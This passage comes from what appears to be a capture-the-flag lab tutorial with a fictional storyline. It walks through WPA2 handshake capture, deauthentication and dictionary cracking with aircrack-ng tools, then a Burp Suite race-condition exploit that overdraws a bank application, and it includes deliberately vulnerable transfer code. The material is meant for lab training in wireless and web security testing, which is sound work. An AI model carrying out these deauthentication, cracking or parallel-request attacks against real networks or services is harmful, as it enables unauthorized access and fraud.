• Evil twin attack: In this attack, the attacker creates a fake access point that has a similar name to one of your trusted Wi-Fi access points. Of course, it cannot be the exact same. If the trusted Wi-Fi's name is "Home_Internet", the attacker creates a fake Wi-Fi access point named "Home_Internnet" or something similar that is difficult to differentiate. The attack starts with the attacker sending de-authentication packets to all the users connected to their legitimate Wi-Fi access points. The users would face repeated disconnections from the network after this. With frustration, the users are likely to open the Wi-Fi access points list for troubleshooting and will find the attacker's Wi-Fi with almost similar name and with greater signal strength. They would go to connect it, and once connected, the attacker could see all their traffic to or from the Internet.
• Rogue access point: This attack's objective is similar to that of the evil twin attack. In this attack, the attacker sets up an open Wi-Fi access point near or inside the organisation's physical premises to make it available to users with good signal strength. The users inside the organisation may accidentally join this network if their devices are set to connect automatically to open Wi-Fi. The attacker can intercept all their communication after the users connect to this rogue access point.
• WPS attack: Wi-Fi Protected Setup (WPS) was created to allow users to connect to their Wi-Fi using an 8-digit PIN without remembering complex passwords. However, this 8-digit PIN is vulnerable in some networks due to its insecure configuration. The attack is made by initiating a WPS handshake with the router and capturing the router's response, which contains some data related to the PIN and is vulnerable to brute-force attacks. Some of the captured data is brute-forced, and the PIN is successfully extracted along with the Pre-Shared Key (PSK).
• WPA/WPA2 cracking: Wi-Fi Protected Access (WPA) was created to secure wireless communication. It uses a strong encryption algorithm. However, the security of this protocol is heavily influenced by the length and complexity of the Pre-Shared Key (PSK). While cracking WPA, attackers start by sending de-authentication packets to a legitimate user of the Wi-Fi network. Once the user disconnects, they try to reconnect to the network, and a 4-way handshake with the router takes place during this time. Meanwhile, the attacker turns its adaptor into monitor mode and captures the handshake. After the handshake is captured, the attacker can crack the password by using brute-force or dictionary attacks on the captured handshake file.

McSkidy looks to Glitch and asks, "What kind of attack are you thinking of demonstrating Glitch?"

Glitch paces back and forth before coming to a sudden stop and says, "Today I will be showing you how the WPA/WPA2 cracking attack works!"

WPA/WPA2 Cracking

As mentioned above, WPA/WPA2 cracking begins by listening to Wi-Fi traffic to capture the 4-way handshake between a device and the access point. Since waiting for a device to connect or reconnect can take some time, deauthentication packets are sent to disconnect a client, forcing it to reconnect and initiate a new handshake, which is captured. After the handshake is captured, the attacker can crack the password (PSK) by using brute-force or dictionary attacks on the captured handshake file.

The 4-way Handshake

The WPA password cracking process involves capturing a Wi-Fi network's handshake to attempt a PSK (password) decryption. First, an attacker places their wireless adapter into monitor mode to scan for networks, then targets a specific network to capture the 4-way handshake. Once the handshake is captured, the attacker runs a brute-force or dictionary attack using a tool like aircrack-ng to attempt to match a wordlist against the passphrase.

The WPA 4-way handshake is a process that helps a client device (like your phone or laptop) and a Wi-Fi router confirm they both have the right "password" or Pre-Shared Key (PSK) before securely connecting. Here's a simplified rundown of what happens:

• Router sends a challenge: The router (or access point) sends a challenge" to the client, asking it to prove it knows the network's password without directly sharing it.
• Client responds with encrypted information: The client takes this challenge and uses the PSK to create an encrypted response that only the router can verify if it also has the correct PSK.
• Router verifies and sends confirmation: If the router sees the client’s response matches what it expects, it knows the client has the right PSK. The router then sends its own confirmation back to the client.
• Final check and connection established: The client verifies the router's response, and if everything matches, they finish setting up the secure connection.

This handshake doesn't directly reveal the PSK itself but involves encrypted exchanges that depend on the PSK.

The Vulnerability

The vulnerability lies in the fact that an attacker can capture this 4-way handshake if they’re listening when a device connects. With the handshake data, they can use it as a basis to attempt offline brute-force or dictionary attacks. Essentially, they try different possible passwords and test each one to see if it would produce the captured handshake data, eventually cracking the PSK if they get a match.

The Practical

On our current SSH session, run the command iw dev. This will show any wireless devices and their configuration that we have available for us to use.

glitch@wifi:~$ iw dev
phy#2
	Interface wlan2
		ifindex 5
		wdev 0x200000001
		addr 02:00:00:00:02:00
		type managed
		txpower 20.00 dBm                                                                             
        

The device/interface wlan2 is available to us, and there are two important details to take away from this output that will be useful to us:

1. The addr is the MAC/BSSID of our device. BSSID stands for Basic Service Set Identifier, and it's a unique identifier for a wireless device or access point's physical address.
2. The type is shown as managed. This is the standard mode used by most Wi-Fi devices (like laptops, phones, etc.) to connect to Wi-Fi networks. In managed mode, the device acts as a client, connecting to an access point to join a network. There is another mode called monitor, which we will discuss shortly.

Now, we would like to scan for nearby Wi-Fi networks using our wlan2 device. We can use sudo iw dev wlan2 scan. The dev wlan2 specifies the wireless device you want to work with, and scan tells iw to scan the area for available Wi-Fi networks.

glitch@wifi:~$ sudo iw dev wlan2 scan
BSS 02:00:00:00:00:00(on wlan2)
	last seen: 520.388s [boottime]
	TSF: 1730575383370084 usec (20029d, 19:23:03)
	freq: 2437
	beacon interval: 100 TUs
	capability: ESS Privacy ShortSlotTime (0x0411)
	signal: -30.00 dBm
	last seen: 0 ms ago
	Information elements from Probe Response frame:
	SSID: MalwareM_AP
	Supported rates: 1.0* 2.0* 5.5* 11.0* 6.0 9.0 12.0 18.0 
	DS Parameter set: channel 6
	ERP: Barker_Preamble_Mode
	Extended supported rates: 24.0 36.0 48.0 54.0 
	RSN:	 * Version: 1
		 * Group cipher: CCMP
		 * Pairwise ciphers: CCMP
		 * Authentication suites: PSK
		 * Capabilities: 1-PTKSA-RC 1-GTKSA-RC (0x0000)
	Supported operating classes:
		 * current operating class: 81
	Extended capabilities:
		 * Extended Channel Switching
		 * Operating Mode Notification                                                                               
        

There is a lot of information to dissect here, but here are the most important details that indicate this device is an access point:

• The BSSID and SSID of the device are 02:00:00:00:00:00 and MalwareM_AP respectively. Since the SSID is shown, this means the device is advertising a network name, which access points do to allow clients to discover and connect to the network.
• The presence of RSN (Robust Security Network) indicates the network is using WPA2, as RSN is a part of the WPA2 standard. WPA2 networks typically use RSN to define the encryption and authentication settings.
• The Group and Pairwise ciphers are CCMP. Counter Mode with Cipher Block Chaining Message Authentication Code Protocol (CCMP) is the encryption method used by WPA2.
• The Authentication suites value inside RSN is PSK indicating that this is a WPA2-Personal network, where a shared password is used for authentication.
• Another important detail is the DS Parameter set value, which shows channel 6. The channel, in terms of Wi-Fi, refers to a specific frequency range within the broader Wi-Fi spectrum that allows wireless devices to communicate with each other. There are various Wi-Fi channels, and they all help distribute network traffic across various frequency ranges, which reduces interference. The two most common Wi-Fi channels are 2.4 GHz and 5GHz. In the 2.4 GHz band, channels 1, 6, and 11 are commonly used because they don’t overlap, minimising interference. In the 5 GHz band, there are many more channels available, allowing more networks to coexist without interference.

Now will be a good time to discuss another type that we can use on some wireless devices: monitor mode. This is a special mode primarily used for network analysis and security auditing. In this mode, the Wi-Fi interface listens to all wireless traffic on a specific channel, regardless of whether it is directed to the device or not. It passively captures all network traffic within range for analysis without joining a network. We want to check if our wlan2 interface can use monitor mode. To achieve this, we will run the command sudo ip link set dev wlan2 down to turn our device off. Then we will switch modes with sudo iw dev wlan2 set type monitor to change wlan2 to monitor mode. Then turn our device back on with sudo ip link set dev wlan2 up.

glitch@wifi:~$ sudo ip link set dev wlan2 down
glitch@wifi:~$ sudo iw dev wlan2 set type monitor
glitch@wifi:~$ sudo ip link set dev wlan2 up
        

We can confirm that our interface is in monitor mode with the command sudo iw dev wlan2 info.

glitch@wifi:~$ sudo iw dev wlan2 info
Interface wlan2
	ifindex 5
	wdev 0x200000001
	addr 02:00:00:00:02:00
	type monitor
	wiphy 2
	channel 1 (2412 MHz), width: 20 MHz (no HT), center1: 2412 MHz
	txpower 20.00 dBm
        

Now, let us create one more SSH session. We want to have 2 separate terminals in order to see clearly how the attack works. You can align the SSH terminals however you like, but here is an example of how it should look like.

On the first terminal, we start by capturing Wi-Fi traffic in the area, specifically targeting the WPA handshake packets. We can do this with the command sudo airodump-ng wlan2. This command provides a list of nearby Wi-Fi networks (SSIDs) and shows important details like signal strength, channel, and encryption type. This information is already known to us from our previous commands.

Note: By default, airodump-ng will automatically switch the selected wireless interface into monitor mode if the interface supports it.

glitch@wifi:~$ sudo airodump-ng wlan2
BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

 02:00:00:00:00:00  -28        2        0    0   6   54   WPA2 CCMP   PSK  MalwareM_AP                                                                              
        

The output reveals the information we already knew before, such as the BSSID, SSID, and the channel. However, in this particular output, we are also given the channel where our target SSID is listening (channel 6). Now, we will focus on the MalwareM_AP access point and capture the WPA handshake; this is crucial for the PSK (password) cracking process.

First, in the current terminal, let us cancel airodump-ng using CTRL+C and then execute the command sudo airodump-ng -c 6 --bssid 02:00:00:00:00:00 -w output-file wlan2. This command targets the specific network channel and MAC address (BSSID) of the access point for which you want to capture the traffic and saves the information to a few files that start with the name output-file. These files will be used to crack the PSK. The ultimate goal of this command is to capture the 4-way handshake. It will first check for any clients that may be connected to the access point. If a client is already connected, then we can perform a deauthentication attack; otherwise, for any new client that connects, we will capture the 4-way handshake. In this particular scenario, a client is already connected. The output will look the same at first until we receive the information about the connected client, which will be displayed at the bottom of our output. It is important to leave this command running until we are done with the attack.

glitch@wifi:~$ sudo airodump-ng -c 6 --bssid 02:00:00:00:00:00 -w output-file wlan2
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

 02:00:00:00:00:00  -28 100      631        8    0   6   54   WPA2 CCMP   PSK  MalwareM_AP  

 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes
        

It should take between 1 to 5 minutes before receiving the client information. In our case, it will show like this:

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

 02:00:00:00:00:00  -28 100      631        8    0   6   54   WPA2 CCMP   PSK  MalwareM_AP  

 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes

 02:00:00:00:00:00  02:00:00:00:01:00  -29    1 - 5      0      140
        

Note that the STATION section shows the device's BSSID (MAC) of 02:00:00:00:01:00 that is connected to the access point. This is the connection that we will be attacking. Now we are ready for the next step.

On the second terminal, we will launch the deauthentication attack. Because the client is already connected, we want to force them to reconnect to the access point, forcing it to send the handshake packets. We can break this down into 3 simple steps:

1. Deauthentication packets: The tool aireplay-ng sends deauthentication packets to either a specific client (targeted attack) or to all clients connected to an access point (broadcast attack). These packets are essentially "disconnect" commands that force the client to drop its current Wi-Fi connection.
2. Forcing a reconnection: When the client is disconnected, it automatically tries to reconnect to the Wi-Fi network. During this reconnection, the client and access point perform the 4-way handshake as part of the reauthentication process.
3. Capturing the handshake: This is where airodump-ng comes into play because it will capture this handshake as it happens, providing the data needed to attempt the WPA/WPA2 cracking.

We can do this with sudo aireplay-ng -0 1 -a 02:00:00:00:00:00 -c 02:00:00:00:01:00 wlan2. The -0 flag indicates that we are using the deauthentication attack, and the 1 value is the number of deauths to send. The -a indicates the BSSID of the access point and -c indicates the BSSID of the client to deauthenticate.

glitch@wifi:~$ sudo aireplay-ng -0 1 -a 02:00:00:00:00:00 -c 02:00:00:00:01:00 wlan2
19:29:37  Waiting for beacon frame (BSSID: 02:00:00:00:00:00) on channel 6
19:29:38  Sending 64 directed DeAuth (code 7). STMAC: [02:00:00:00:01:00] [ 0| 0 ACKs]
        

Now, if we look back on our first terminal, we will see the WPA handshake shown on the top-right of our output as WPA handshake: 02:00:00:00:00:00. All of this information is being saved into our output files.

 CH  6 ][ Elapsed: 1 min ][ 2024-11-02 19:30 ][ WPA handshake: 02:00:00:00:00:00 

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

 02:00:00:00:00:00  -28 100      631        8    0   6   54   WPA2 CCMP   PSK  MalwareM_AP  

 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes

 02:00:00:00:00:00  02:00:00:00:01:00  -29    1 - 5      0      140  EAPOL
        

In the second terminal, we can use the captured WPA handshake to attempt to crack the WPA/WP2 passphrase. We will be performing a dictionary attack in order to match the passphrase against each entry in a specified wordlist file. A shortened version of the infamous rockyou.txt wordlist has already been provided for us to use. This is located in the /home/glitch/ directory. If the passphrase is weak and appears in the wordlist, it will eventually be cracked. The command sudo aircrack-ng -a 2 -b 02:00:00:00:00:00 -w /home/glitch/rockyou.txt output*cap will do this for us where the -a 2 flag indicates the WPA/WPA2 attack mode. The -b indicates the BSSID of the access point, and the -w flag indicates the dictionary list to use for the attack. Finally, we select the output files that we will be using, which contain the 4-way handshake that we will be cracking.

glitch@wifi:~$ sudo aircrack-ng -a 2 -b 02:00:00:00:00:00 -w /home/glitch/rockyou.txt output*cap
Reading packets, please wait...
Opening output-file-01.cap
Read 276 packets.
1 potential targets

                               Aircrack-ng 1.6 

      [00:00:01] 304/513 keys tested (217.04 k/s) 

      Time left: 0 seconds                                      59.26%

                 KEY FOUND! [ REDACTED ]


      Master Key     : B6 53 9A 71 8C C4 74 5F E3 26 49 82 37 74 65 09 
                       BE C5 62 CE 43 C4 68 A7 B4 8F 8C E6 98 EE 1C CB 

      Transient Key  : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

      EAPOL HMAC     : C8 8E D5 F4 B4 5A 1D C4 6C 41 35 07 68 81 79 CD
        

Note: If you get an Packets contained no EAPOL data; unable to process this AP error, this means that you ran aircrack-ng prior to the handshake being captured or that the handshake was not captured at all. If that's the case, then re-do all of the steps in order to capture the WPA handshake.

With the PSK, we can now join the MalwareM_AP access point. In a typical engagement, we would do this to inspect the new network, or in some cases, joining the access point is enough to show impact. First, press CTRL+C on the terminal that has airodump-ng running in order to stop the airodump-ng process. We do this because we will not be able to join the Wi-Fi network while airodump-ng is running due to the fact that we are actively using the interface in monitor mode. Then execute the following commands:

glitch@wifi:~$ wpa_passphrase MalwareM_AP 'ENTER PSK HERE' > config
glitch@wifi:~$ sudo wpa_supplicant -B -c config -i wlan2
        

Note: If you get a rfkill: Cannot get wiphy information error, you can ignore it. You will also notice that wpa_supplicant has automatically switched our wlan2 interface to managed mode.

Giving it about 10 seconds and checking the wireless interfaces once again with iw dev shows that we have joined the MalwareM_AP SSID.

glitch@wifi:~$ iw dev
phy#2
-- Removed for brevity --

        Interface wlan2
		ifindex 5
		wdev 0x200000001
		addr 02:00:00:00:02:00
		ssid MalwareM_AP
		type managed
		channel 6 (2437 MHz), width: 20 MHz (no HT), center1: 2437 MHz
		txpower 20.00 dBm
        

The End

McSkidy looked in awe as Glitch flawlessly exposed a weakness in the Wi-Fi network.

Glitch ponders and says, "That password is pretty weak, I must say. I wouldn't have been surprised if the Mayor had already found a way."

McSkidy gets to work right away while Glitch thinks about what is next.

Glitch stops and says, "I am ever curious if the Mayor knows much about race conditions and how will that affect us?"

Wareville's bank had a huge turnover this year and expected a massive profit before the holiday season. They were eager to disclose this news to the town's people during the SOC-mas celebrations. However, to their surprise, things went the other way around. After completing the annual calculations, the accountants were shocked to see a considerable loss. They observed discrepancies in the account balances. 

The bank called McSkidy to help investigate these users' fraudulent transactions. Upon analysing the bank's website's transactional logs, McSkidy found some interesting transactions. Few users, including the Mayor's team initiated multiple transactions from Wareville's reserve accounts at once. Surprisingly, all these transactions succeeded despite exceeding the users' current balance. Glitch was already aware of the critical vulnerability (allowing these fraudulent transactions) that Mayor Malware and his alliances exploited.

Learning Objectives

• Understand the concept of race condition vulnerabilities
• Identify the gaps introduced by HTTP2
• Exploit race conditions in a controlled environment
• Learn how to fix the race

Connecting to the Machine

Click on the green Start Machine button shown below this text to start the virtual machine. After the virtual machine starts, click on the Start AttackBox button at the top and browse the Wareville's Bank application at http://MACHINE_IP:5000/. Please wait 1-2 minutes after the system boots completely to let the auto scripts run successfully.

Web Timing and Race Conditions

Conventional web applications are relatively easy to understand, identify, and exploit. If there is an issue in the code of the web application, we can force the web application to perform an unintended action by sending specific inputs. These are easy to understand because there is usually a direct relationship between the input and output. We get bad output when we send bad data, indicating a vulnerability. But what if we can find vulnerabilities using only good data? What if it isn't about the data but how we send it? This is where web timing and race condition attacks come into play! Let's dive into this crazy world and often hidden attack surface! 

In its simplest form, a web timing attack means we glean information from a web application by reviewing how long it takes to process our request. By making tiny changes in what we send or how we send it and observing the response time, we can access information we are not authorised to have.

Race conditions are a subset of web timing attacks that are even more special. With a race condition attack, we are no longer simply looking to gain access to information but can cause the web application to perform unintended actions on our behalf.

Web timing vulnerabilities can be incredibly subtle. Based on the following research, response time differences ranging from 1300ms to 5ns have been used to stage attacks. Because of their subtle nature, they can also be hard to detect and often require a wide range of testing techniques. However, with the increase in adoption of HTTP/2, they have become a bit easier to find and exploit.

The Rise of HTTP/2

HTTP/2 was created as a major update for HTTP, the protocol used for web applications. While most web applications still use HTTP/1.1, there has been a steady increase in the adoption of HTTP/2, as it is faster, better for web performance, and has several features that elevate the limitations of HTTP/1.1. However, if implemented incorrectly, some of these new features can be exploited by threat actors using new techniques.

A key difference in web timing attacks between HTTP/1.1 and HTTP/2 is that HTTP/2 supports a feature called single-packet multi-requests. Network latency, the amount of time it takes for the request to reach the web server, made it difficult to identify web timing issues. It was hard to know whether the time difference was due to a web timing vulnerability or simply a network latency difference. However, with single-packet multi-requests, we can stack multiple requests in the same TCP packet, eliminating network latency from the equation, meaning time differences can be attributed to different processing times for the requests. This is explained more in the animation below:

With network latency a thing of the past, only server latency remains, making it significantly easier to detect timing issues and exploit them to recover sensitive information.

Typical Timing Attacks

Timing attacks can often be divided into two main categories:

• Information Disclosures

Leveraging the differences in response delays, a threat actor can uncover information they should not have access to. For example, timing differences can be used to enumerate the usernames of an application, making it easier to stage a password-guessing attack and gain access to accounts.

• Race Conditions

Race conditions are similar to business logic flaws in that a threat actor can cause the application to perform unintended actions. However, the issue's root cause is how the web application processes requests, making it possible to cause the race condition. For example, if we send the same coupon request several times simultaneously, it might be possible to apply it more than once.

For the rest of this task, we will focus on race conditions. We will take a look at a Time-of-Check to Time-of-Use (TOCTOU) flaw. Let's use an example to explain this, as shown in the animation below:

When the user submits their coupon code, in the actual code of the web application, at some point, we perform a check that the coupon is valid and hasn't been used before. We apply the discount, and only then do we update the coupon code to indicate that it has already been used. In this example, between our check if the coupon is valid and our update of the coupon being used, there are a couple of milliseconds where we apply the coupon. While this might seem small, if a threat actor can send two requests so close together in time, it might happen that before the coupon is updated in request 1, it has already been checked in request 2, meaning that both requests will apply the coupon!

Winning the Race

Now that you understand basic concepts related to race conditions, let's explore how this vulnerability occurs in a real-world scenario. For this, we will take the example of the Warville banking application hosted on http://MACHINE_IP:5000/. This application allows users to log in and transfer funds between accounts.

Intercepting the Request

Before we start intercepting requests, we need to configure the environment so that, as a pentester, all web traffic from our browser is routed through Burp Suite. This allows us to see and manipulate the requests as we browse. 

We will use Burp Suite, a powerful web vulnerability scanner, to intercept and modify requests for this exploitation. You can access Burp Suite in the AttackBox. On the desktop of the AttackBox, you will see a Burp Suite icon as shown below:

Once you click the icon, Burp Suite will open with an introductory screen. You will see a message like "Welcome to Burp Suite".  Click on the Next button. 

On the next screen, you will have the option to Start Burp. Click on the Start Burp button to start the tool.

Once Burp Suite has started, you will see its main interface with different tabs, such as Proxy, Intruder, Repeater and others.

Inside Burp Suite, click the Settings tab at the top right. You will see Burp's browser option available under the Tools. Enable Allow Burp's browser to run without a sandbox option and click on the close icon on the top right corner of the Settings tab as shown below:

After allowing the browser to run without a sandbox, we would now be able to start the browser with pre-configured Burp Suite's proxy. Open the browser by clicking the Open browser located in the Proxy -> Intercept tab and browse to the URL http://MACHINE_IP:5000, so that all requests are intercepted: 

Once you browse the URL, all the requests are intercepted and can be seen under the Proxy->HTTP history tab.

Application Scanning

As a penetration tester, one key step in identifying race conditions is to validate functions involving multiple transactions or operations that interact with shared resources, such as transferring funds between accounts, reading and writing to a database, updating balances inconsistently, etc.

For this example, we will log in to the Warville banking application using the credentials:

Account No	110
Password	tester

Once logged in, you will see the following dashboard that will contain the following two primary functions:

You will see two functionalities: logout, which probably does not involve simultaneous tasks. The next is fund transfer, which includes deducting funds from the account and adding them to the other account. As a pentester, this could be an opportunity for an attack.  We will see in detail how, as a pentester, you can test/exploit the vulnerability.

Verifying the Fund Transfer Functionality

We will browse the bank application and perform a sample transaction inside the browser. This will generate multiple GET and POST requests, and whatever request we make will be passed through the Burp Suite. As shown in the figure, our current balance is $1000. We will send $500 to another bank account with the account number 111, and while doing that, all our requests will be captured in the Burp Suite. 

Click on the Transfer button, and you will see the following message indicating that the amount has been transferred: 

Now, let's review the fund transfer HTTP POST request logged in the Burp Suite's HTTP history option under the Proxy tab. 

The above figure shows that the /transfer endpoint accepts a POST request with parameters account_number and amount. The Burp Suite tool has a feature known as Repeater that allows you to send multiple HTTP requests. We will use this feature to duplicate our HTTP POST request and send it multiple times to exploit the race condition vulnerability. Right-click on the POST request and click on Send to Repeater.

Now, navigate to the Repeater tab, where you will find the POST request that needs to be triggered multiple times. We can change the account_number, from 111, and the amount value from 500 to any other value in the request as well, as shown below:

Place the mouse cursor inside the request inside the Repeater tab in Burp Suite and press Ctrl+R to duplicate the tab. Press Ctrl+R ten times to have 10 duplicate requests ready for testing.

Now that we have 10 requests ready, we want to send them simultaneously. While one option is to manually click the Send button in each tab individually, we aim to send them all in parallel. To do this, click the + icon next to Request #10 and select Create tab group. This will allow us to group all the requests together for easier management and execution in parallel.

After clicking the Create tab group, a dialogue box will appear asking you to name the group and select the requests to include. For this example, we will name the group funds, select all the requests, and then click the Create button, as shown below.

Now, we are ready to launch multiple copies of our HTTP POST requests simultaneously to exploit the race condition vulnerability. Select Send group in parallel (last-byte sync) in the dropdown next to the Send button. Once selected, the Send button will change to Send group (parallel). Click this button to send all the duplicated requests in our tab group at the same time, as shown below:

Once all the requests have been sent, navigate to the tester account in the browser and check the current balance. You will notice that the tester's balance is negative because we successfully transferred more funds than were available in the account, exploiting the race condition vulnerability.

By duplicating ten requests and sending them in parallel, we are instructing the system to make ten simultaneous requests, each deducting $500 from the tester account and sending it to account 111. In a correctly implemented system, the application should have processed the first request, locked the database, and processed the remaining requests individually. However, due to the race condition, the application handles these requests abruptly, resulting in a negative balance in the tester account and an inflated balance in account 111.

Verifying Through Source Code

Suppose you are a penetration tester with access to the application's source code (as in a white-box testing scenario). In that case, you can identify potential race condition vulnerabilities through a code review. By analysing the code, you can pinpoint areas where multiple database operations are performed without proper transaction handling. Below is the Python code that handles the fund transfer:

 if user['balance'] >= amount:
        conn.execute('UPDATE users SET balance = balance + ? WHERE account_number = ?', 
                     (amount, target_account_number))
        conn.commit()

        conn.execute('UPDATE users SET balance = balance - ? WHERE account_number = ?', 
                     (amount, session['user']))
        conn.commit()

In the above code, if user['balance'] >= amount, the application first updates the recipient's balance with the command UPDATE users SET balance = balance + ? WHERE account_number = ?, followed by a commit. Then, it updates the sender’s balance using UPDATE users SET balance = balance - ? WHERE account_number = ? and commits again. Since these updates are committed separately and not part of a single atomic transaction, there’s no locking or proper synchronisation between these operations. This lack of a transaction or locking mechanism makes the code vulnerable to race conditions, as concurrent requests could interfere with the balance updates. 

Time for Some Action

Now that you understand the vulnerability, can you assist Glitch in validating it using the account number: 101 and password: glitch? Attempt to exploit the vulnerability by transferring over $2000 from his account to the account number: 111.

Fixing the Race

The developer did not properly handle concurrent requests in the bank's application, leading to a race condition vulnerability during fund transfers. When multiple requests were sent in parallel, each deducting and transferring funds, the application processed them simultaneously without ensuring proper synchronisation. This resulted in inconsistent account balances, such as negative balances in the sender’s account and excess funds in the recipient’s account. Here are some of the preventive measures to fix the race. 

• Use Atomic Transactions: The developer should have implemented atomic database transactions to ensure that all steps of a fund transfer (deducting and crediting balances) are performed as a single unit. This would ensure that either all steps of the transaction succeed or none do, preventing partial updates that could lead to an inconsistent state.
• Implement Mutex Locks: By using Mutex Locks, the developer could have ensured that only one thread accesses the shared resource (such as the account balance) at a time. This would prevent multiple requests from interfering with each other during concurrent transactions.
• Apply Rate Limits: The developer should have implemented rate limiting on critical functions like funds transfers and withdrawals. This would limit the number of requests processed within a specific time frame, reducing the risk of abuse through rapid, repeated requests.

After completing the exercise, you will be required to visit http://MACHINE_IP:5000/dashboard to get the flag.